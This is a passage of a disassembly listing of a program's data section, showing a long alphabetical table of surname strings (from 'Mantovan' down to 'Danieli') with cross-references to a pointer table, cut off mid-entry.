4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E020o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o aLa db 'La',0 ; DATA XREF: ___:0042DF40o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC64o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DB84o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o aDavid db 'David',0 ; DATA XREF: ___:0042DA24o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA20o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA18o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: 